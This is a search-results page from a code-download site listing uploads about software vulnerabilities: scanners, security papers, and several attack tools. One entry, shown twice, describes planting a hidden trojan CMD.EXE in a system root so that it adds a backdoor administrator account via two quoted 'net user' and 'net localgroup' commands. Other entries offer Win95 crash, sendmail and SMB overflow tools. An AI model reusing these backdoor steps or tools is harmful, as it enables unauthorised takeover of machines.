Welcome！[Sign In] ！[Sign Up]！
Front-page it | Collect it | [中国-简体中文]
FAQ Fav
Location:
Search - 漏洞

Search list

[Exploit] cmd漏洞源代码

Description: 你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在执行搜索的时候, 首先查找根目录 而开始菜单的运行窗口里执行命令, 也是首先在系统盘的根目录里进行查找. 这个漏洞其实是已经是公开的秘密了. 既然现在作为漏洞公布出来, 我也就把网上的PasswordReminder.cpp拿来改了改 加了一个加超级管理员用户和执行cmd.exe的功能. 使用方法: 把程序解压, 把压缩包里的文件 CMD.EXE (该文件具有隐藏和只读属性) 释放到目标机器的系统盘根目录, 一般都是在C:比如利用UNICODE/Decode漏洞就有写根目录的权限, 同时Asp/fp30reg.dll等远程溢出出来的Shell, 一般都只有匿名权限, 但是它具有写根目录的权限 这个时候, 就可以把本程序放到目标机器的系统盘根目录 只要等管理员在机器的开始菜单里运行命令: cmd 一切尽在掌握中.:) PS: 系统执行后, 会先产生一个线程来做一些处理 然后用system()函数调用cmd.exe来让用户能够执行命令. 产生出来的线程会产生两个进程序执行如下两个命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 这样就在系统上增加了一个超级
Platform: | Size: 18944 | Author: 姜振 | Hits:

[Other] 利用win95漏洞的攻击程序

Description: 攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自 己的同一个端口发起连接（发SYN），Win95即会崩溃。-attack a Win95 machine. This is a loophole in the Win95, its IP address and port to the port launched with a link (the SYN), Win95 will collapse.
Platform: | Size: 1673 | Author: 孙新 | Hits:

[Linux-Unix] Linux的安全漏洞与防范措施

Description: 介绍Linux的Internet安全漏洞与防范措施，希望对大家有一定的帮助，主要包括的就是FTP安全、电子邮件安全、Telnet安全、Web服务器安全和安全Web协议。-introduced Linux Internet security loopholes and preventive measures, we hope to have some help, including FTP is security, email security, Telnet security, Web server security and Web security agreement.
Platform: | Size: 6040 | Author: 王松 | Hits:

[Web Server] 漏洞扫描器源代码

Description: 系统漏洞扫描源代码 235日清5435 4 4余热土语侮辱他 -vulnerability scanning source code 235 days - 5435 4 4 I hotspot insulting language he
Platform: | Size: 105906 | Author: da | Hits:

[Windows Develop] 中文的漏洞扫描器源代码

Description: 中文漏洞扫描，扫描系统存在的漏洞和安全隐患-Chinese loopholes, and scan system loopholes and the potential safety problems
Platform: | Size: 54405 | Author: 陈本 | Hits:

[SourceCode] 漏洞扫描【jinshan】

Description: 金山的漏洞扫描器源码
Platform: | Size: 183982 | Author: luosng001@163.com | Hits:

[Other] cmd漏洞源代码

Description: 你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在执行搜索的时候, 首先查找根目录 而开始菜单的运行窗口里执行命令, 也是首先在系统盘的根目录里进行查找. 这个漏洞其实是已经是公开的秘密了. 既然现在作为漏洞公布出来, 我也就把网上的PasswordReminder.cpp拿来改了改 加了一个加超级管理员用户和执行cmd.exe的功能. 使用方法: 把程序解压, 把压缩包里的文件 CMD.EXE (该文件具有隐藏和只读属性) 释放到目标机器的系统盘根目录, 一般都是在C:比如利用UNICODE/Decode漏洞就有写根目录的权限, 同时Asp/fp30reg.dll等远程溢出出来的Shell, 一般都只有匿名权限, 但是它具有写根目录的权限 这个时候, 就可以把本程序放到目标机器的系统盘根目录 只要等管理员在机器的开始菜单里运行命令: cmd 一切尽在掌握中.:) PS: 系统执行后, 会先产生一个线程来做一些处理 然后用system()函数调用cmd.exe来让用户能够执行命令. 产生出来的线程会产生两个进程序执行如下两个命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 这样就在系统上增加了一个超级-cmd loopholes in the source code
Platform: | Size: 18432 | Author: 姜振 | Hits:

[Other] sendmail漏洞攻击程序C源代码

Description: sendmail漏洞攻击程序-sendmail vulnerability to attack procedures
Platform: | Size: 4096 | Author: 赵晓东 | Hits:

[OS program] 10.09--cmd漏洞源代码

Description: cmd漏洞源代码 非常值得研究-cmd loopholes source code is worth studying
Platform: | Size: 71680 | Author: 刘动 | Hits:

[Internet-Network] 扫描asp源码漏洞

Description: 一个用c#写的扫描asp源码漏洞的应用程序-c# 1 used to write the source code scanning asp loopholes in the application! !
Platform: | Size: 2048 | Author: 杜春杰 | Hits:

[Internet-Network] 系统漏洞扫描原理介绍

Description: 讲述漏洞扫描原理的ppt文档，内容，方式详尽-about loopholes scanning principle of ppt documents, contents, methods detailed
Platform: | Size: 86016 | Author: 黄勇辉 | Hits:

[Internet-Network] ASP漏洞及安全建议

Description: ASP是开发网站应用的快速工具，但是有些网站管理员只看到ASP的快速开发能力，却忽视了ASP安全问题。ASP从一开始就一直受到众多漏洞，后门的困扰，包括%81的噩梦，密码验证问题，IIS漏洞等等都一直使ASP网站开发人员心惊胆跳。本文试图从开放了ASP服务的操作系统漏洞和ASP程序本身漏洞，阐述ASP安全问题，并给出解决方法或者建议。-ASP Web applications is the development of rapid tool, but some webmasters only see the rapid development of ASP, ASP has been neglected safety issues. ASP from the beginning have been many loopholes in the back door of distress, including nightmares, password authentication, IIS vulnerability, etc. have been so ASP Web developers shocking. This paper attempts to open the ASP services of the operating system vulnerabilities and the process itself ASP loophole, ASP elaborate security issues, and gives solutions or suggestions.
Platform: | Size: 322560 | Author: 海燕 | Hits:

[WEB Code] 漏洞扫描器源代码

Description: 系统漏洞扫描源代码 235日清5435 4 4余热土语侮辱他 -vulnerability scanning source code 235 days- 5435 4 4 I hotspot insulting language he
Platform: | Size: 105472 | Author: da | Hits:

[Windows Develop] 中文的漏洞扫描器源代码

Description: 中文漏洞扫描，扫描系统存在的漏洞和安全隐患-Chinese loopholes, and scan system loopholes and the potential safety problems
Platform: | Size: 54272 | Author: 陈本 | Hits:

[Windows Develop] 漏洞

Description: 可以寻找游戏漏洞还可以制作软件当然也支持攻击网站(You can find game holes)
Platform: | Size: 6518784 | Author: 林秋楠 | Hits:

[Other] 揭秘家用路由器0day漏洞挖掘技术

Description: 揭秘家用路由器0day漏洞挖掘技术, 用IDA挖掘路由器漏洞的方法(book to show how to exploit network device security)
Platform: | Size: 83896320 | Author: ut33 | Hits:

[Other] ms09001漏洞溢出软件

Description: 微软给该漏洞的补丁为kb958687 ms09 001(ms09001)smb远程溢出利用程序/攻击漏洞 补丁就不提供下载了 工具放这里，提供下载下。 先试试MS09001最新漏洞利用工具下载(Microsoft's patch for the vulnerability is kb958687 ms09 001 (ms09001) SMB remote overflow using program / exploit vulnerability patch, which does not provide download tools. First try the latest MS09001 vulnerability tool to download)
Platform: | Size: 220160 | Author: 沃尔 | Hits:

[Other] xss漏洞测试源码

Description: xss漏洞测试源码的压缩包，直接放到IIS中即可使用(XSS vulnerability test source code)
Platform: | Size: 6354944 | Author: Ishmael | Hits:

[Linux-Unix] 近三年的漏洞复现与防范（修改）

Description: POC: POC，Proof ofConcept，中文意思是“观点证明”。这个短语会在漏洞报告中使用，漏洞报告中的POC则是一段说明或者一个攻击的样例，使得读者能够确认这个漏洞是真实存在的。 EXP: EXP，Exploit，中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码，可以使得读者完全了解漏洞的机理以及利用的方法。 漏洞概述： 2018年2月1日，Adobe官方发布安全通报（APSA18-01）,声明Adobe Flash 28.0.0.137及其之前的版本，存在高危漏洞（CVE-2018-4878）(POC: POC, Proof ofConcept, Chinese means "proof of opinion". This phrase is used in vulnerability reports, and POC in vulnerability reports is a description or an example of an attack that allows the reader to confirm that the vulnerability is real. EXP: EXP, Exploit, Chinese means "exploit". This means a detailed description of how vulnerabilities are exploited or a demo of vulnerability attack code that allows readers to fully understand the mechanism of vulnerabilities and how to exploit them. Vulnerability overview: On February 1, 2018, Adobe issued an official security bulletin (APSA18-01), stating that Adobe Flash 28.0.0.137 and its previous versions had high-risk vulnerabilities (CVE-2018-4878).)
Platform: | Size: 1327104 | Author: zz_1 | Hits:

[Other] 基于深度学习的二进制代码漏洞检测系统

Description: 二进制代码漏洞检测是一个重要的研究问题。针对当前基于静态分析的二进制代码漏洞检测系统普遍存在误报率高,检测粒度粗,且依赖专家经验等问题,提出了用库/API函数调用程序切片细粒度表示二进制程序,并引入深度学习技术,自动检测二进制程序中库/API函数调用相关漏洞,设计并实现了一个基于深度学习的二进制代码漏洞检测系统——BVDetector。该系统通过对二进制程序进行控制流和数据流分析,从程序中提取库/API函数调用的程序切片,并为程序切片添加有无漏洞的标签;然后将程序切片转换成符合漏洞检测深度学习模型输入的向量表示;最后用程序切片的向量表示及其标签训练和优化深度学习神经网络模型。相关实验结果显示,BVDetector能够有效检测出二进制程序中库/API函数调用相关漏洞,并且将二进制漏洞检测的误报率降低至2.3%,漏报率降低至8.2%。(Binary code vulnerability detection is an important research issue. Aiming at the problems of high false alarm rate, coarse detection granularity and dependence on expert experience in current binary code vulnerability detection system based on static analysis, this paper proposes to use library/API function call program slice to represent binary program with fine granularity, and introduces deep learning technology to automatically detect the related vulnerabilities in library/API function call of binary program. A deep learning-based method is designed and implemented. Binary code vulnerability detection system - BVDetector. By analyzing the control flow and data flow of binary program, the system extracts the program slices of library/API function calls from the program, and adds vulnerability labels to the program slices.)
Platform: | Size: 955392 | Author: vorabend | Hits:
« 12 3 4 5 6 7 8 9 10 ... 50 »

CodeBus www.codebus.net